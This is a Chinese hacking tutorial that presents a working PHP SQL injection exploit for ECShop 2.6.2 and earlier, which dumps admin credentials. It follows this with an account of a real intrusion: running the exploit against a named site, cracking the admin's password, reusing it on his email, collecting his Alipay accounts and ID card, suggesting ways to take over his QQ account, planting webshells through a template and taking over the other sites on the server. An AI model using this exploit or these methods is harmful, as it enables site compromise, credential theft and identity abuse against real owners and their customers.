从ECSHOP漏洞入侵过程中的小社工

2010-01-27 13:45:07 作者:root 来源: 浏览次数:0 网友评论 0

 ECSHOP的老漏洞现在都还有好多网站还没有修补,
 
该漏洞影响版本极为强大.ECSHOP是DZ旗下的产品, ECSHOP是一款开源免费的网上商店系统.由专业的开发团队升级维护,
 
为您提供及时高效的技术支持,您还可以根据自己的商务
 ECSHOP的老漏洞现在都还有好多网站还没有修补,
 
该漏洞影响版本极为强大.ECSHOP是DZ旗下的产品, ECSHOP是一款开源免费的网上商店系统.由专业的开发团队升级维护,
 
为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,
 
增加自己商城的特色功能.
 
漏洞分析:
 
文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():
 
 
01.// includes/init.php 
 
02.if (!get_magic_quotes_gpc()) 
 
03.{ 
 
04.    if (!emptyempty($_GET)) 
 
05.    { 
 
06.        $_GET  = addslashes_deep($_GET); 
 
07.    } 
 
08.    if (!emptyempty($_POST)) 
 
09.    { 
 
10.        $_POST = addslashes_deep($_POST); 
 
11.    } 
 
12. 
 
13.    $_COOKIE   = addslashes_deep($_COOKIE); 
 
14.    $_REQUEST  = addslashes_deep($_REQUEST); 
 
15.} 
 
addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
 
01.// includes/lib_base.php 
 
02.function addslashes_deep($value) 
 
03.{ 
 
04.    if (emptyempty($value)) 
 
05.    { 
 
06.        return $value; 
 
07.    } 
 
08.    else 
 
09.    { 
 
10.        return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value); 
 
11.    // 只处理了数组的值:) 
 
12.    } 
 
13.} 
 
下面看下具体的导致漏洞的代码,文件 pick_out.php里:
 
 
01.// pick_out.php 
 
02.if (!emptyempty($_GET['attr'])) 
 
03.{ 
 
04.    foreach($_GET['attr'] as $key => $value) 
 
05.    { 
 
06.        $key = intval($key); 
 
07.        $_GET['attr'][$key] = htmlspecialchars($value); 
 
08.        // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value 
 
09.        // 因此可以引入任意的key:) 
 
10.        // 程序员的逻辑出了问题? 
 
11.    } 
 
12.} 
 
13.... 
 
14.        foreach ($_GET['attr'] AS $key => $value) 
 
15.        { 
 
16.            $attr_url .= '&attr[' . $key . ']=' . $value; 
 
17. 
 
18.            $attr_picks[] = $key; 
 
19.            if ($i > 0) 
 
20.            { 
 
21.                if (emptyempty($goods_result)) 
 
22.                { 
 
23.                    break; 
 
24.                } 
 
25.                // 利用key进行注射:) 
 
26.                $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attr_value='$value'"); 
 
由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞.
 
漏洞利用:
 
 
01.#!/usr/bin/php 
 
02.<?php 
 
03.//本程序只作技术交流,请不要用做非法用途!! 
 
04.print_r(' 
 
05.+---------------------------------------------------------------------------+ 
 
06.ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit 
 
07.by puret_t 
 
08.mail: puretot at gmail dot com 
 
09.team: http://bbs.wolvez.org 
 
10.dork: "Powered by ECShop" 
 
11.+---------------------------------------------------------------------------+ 
 
12.'); 
 
13./**
 
14. * works with magic_quotes_gpc = Off
 
15. */ 
 
16.if ($argc < 3) { 
 
17.    print_r(' 
 
18.+---------------------------------------------------------------------------+ 
 
19.Usage: php '.$argv[0].' host path 
 
20.host:      target server (ip/hostname) 
 
21.path:      path to ecshop 
 
22.Example: 
 
23.php '.$argv[0].' localhost /ecshop/ 
 
24.+---------------------------------------------------------------------------+ 
 
25.'); 
 
26.    exit; 
 
27.} 
 
28. 
 
29.error_reporting(7); 
 
30.ini_set('max_execution_time', 0); 
 
31. 
 
32.$host = $argv[1]; 
 
33.$path = $argv[2]; 
 
34. 
 
35.$resp = send(); 
 
36.preg_match('#IN\s\(([\S]+):([a-z0-9]{32})\)#', $resp, $hash); 
 
37. 
 
38.if ($hash) 
 
39.    exit("Expoilt Success!
 
admin:\t$hash[1]
 
Password(md5):\t$hash[2]
 
"); 
 
40.else 
 
41.    exit("Exploit Failed!
 
"); 
 
42. 
 
43.function send() 
 
44.{ 
 
45.    global $host, $path; 
 
46. 
 
47.    $cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat'; 
 
48. 
 
49.    $data = "GET ".$path."pick_out.php?".$cmd."  HTTP/1.1\r
 
"; 
 
50.    $data .= "Host: $host\r
 
"; 
 
51.    $data .= "Connection: Close\r
 
\r
 
"; 
 
52. 
 
53.    $fp = fsockopen($host, 80); 
 
54.    fputs($fp, $data); 
 
55. 
 
56.    $resp = ''; 
 
57. 
 
58.    while ($fp && !feof($fp)) 
 
59.        $resp .= fread($fp, 1024); 
 
60. 
 
61.    return $resp; 
 
62.} 
 
63. 
 
64.?> 
 
这个老漏洞是狼族成员Ryan发现的,
 
在入侵过程中,我们往往会忽略掉身边的某一些"资源",
 
我们要试着把一个网站管理员的任何信息全部毫无保留地社工出来.
 
首先,当我们找到了这个目标之后..
 
我们开始随便拿个网站来开刷一下.
 
(图1)
 
\
 
 
 
 
Microsoft Windows XP [版本 5.1.2600]
 
(C) 版权所有 1985-2001 Microsoft Corp.
 
E:\Php\Server\PHP>php ecshop.php
 
+---------------------------------------------------------------------------+
 
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
 
by puret_t
 
mail: puretot at gmail dot com
 
team: http://bbs.wolvez.org
 
dork: "Powered by ECShop"
 
+---------------------------------------------------------------------------+
 
+---------------------------------------------------------------------------+
 
Usage: php ecshop.php host path
 
host:      target server (ip/hostname)
 
path:      path to ecshop
 
Example:
 
php ecshop.php localhost /ecshop/
 
+---------------------------------------------------------------------------+
 
E:\Php\Server\PHP>php ecshop.php www.znto.com /
 
+---------------------------------------------------------------------------+
 
ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit
 
by puret_t
 
mail: puretot at gmail dot com
 
team: http://bbs.wolvez.org
 
dork: "Powered by ECShop"
 
+---------------------------------------------------------------------------+
 
Expoilt Success!
 
admin:  admin
 
Password(md5):  0b7c1f2434e0e47df51679a81a9d7141
 
E:\Php\Server\PHP>
 
(图2)
 
\
 
 
 
下面我们来用Md5在线破解来转一下.
 
(图3)
 
\
 
 
 
后台的地址只要在浏缆器上添加../admin
 
就可以见到.
 
(图4)
 
\
 
 
 
 
点右上角的个人设置,我们可以看到管理员的E-mail出现在我们眼前,
 
(图5)
 
\
 
 
 
现在我们利用上面的密码来试试进入这个邮箱,
 
(图6)
 
\
 
在这里,我们可以看到许多支付宝的帐号,密码寻回都是靠这个E-mail的了,
 
(图7) \
 
 
 
 
当我在这个E-mail里面诳了许久的时候我发现网盘这边有他的身份证图片,
 
(图8)
 
\
 
 
 
 
或许现在你会问,要这个身份证来有什么用的呢?
 
当我们修改支付宝的密码的时候,我们会利用到身份证的号码的.
 
(图9)
 
\
 
 
 
 
不过我们不是破坏分子,而是学习分子,我相信没有人会愿意去搞人家的支付宝的.
 
好了,E-mail我们算是完整地把他给搞下来了,下面我们试一下QQ.
 
在网站最下方有一些联系方式,我们试一下破解这个QQ,
 
(图10)
 
\
 
 
 
 
我们可以发现这是一个在网络上有很多业务的人,这样的防御能力确实会让这位管理员受到破坏,
 
(图11)
 
\
 
 
 
 
我还在163邮箱里面发现了这个管理员名下不少域名,
 
以及一个六位的QQ号码3931**,碰到这样的QQ我们要小心处理,
 
如果你想盗的话你可以靠现在手头上一些身份证,E-mail来破解密码保护,
 
那就要靠你自己的努力了.
 
好了,我们回到ECSHOP继续看看能不能搞到他其它的网站,
 
我刚才也说了,他的名下有几十个域名,可想而知是一个网络的大商人,
 
用明小子查了一下我也发现了这几个域名正是和他E-mail下的一样,
 
说明他整个服务器都是他的了,可以这样来判断.
 
(图12)
 
\
 
 
 
 
我们回到网站上搞个Shell出来看起来清晰一点.嘿嘿,
 
在模板管理>库项目管理>选上"Myship.lbi 配送方式".
 
在最底下插入一句话木马!
 
(图13)
 
\
 
 
 
 
在地址上输入../myship.php
 
这个页面在ECSHOP下过滤不严格造成了可以利用.
 
看到页面是没有什么现象,
 
(图14)
 
\
 
 
 
 
我们用PHP+ASP一句话连接端来连接一下来达到我们的目的,
 
(图15)
 
\
 
 
 
 
环境变量了一下我们可以清晰地看到目录是可以看到的.
 
下面..我们上传大马,我在这里测试了用PHP木马进去,再传个ASPX马上去跨目录,
 
(图16)
 
\
 
 
 
 
跨目录就可以把每一个站下都完全占领了..
 
(图17)
 
\
 
 
 
 
小装一下..
 
(图18.19)
 
\
 
 
 
\
 
 
关键词:社工漏洞过程

[收藏] [打印] [关闭] [返回顶部]

  • 验证码:

最新图片文章

最新文章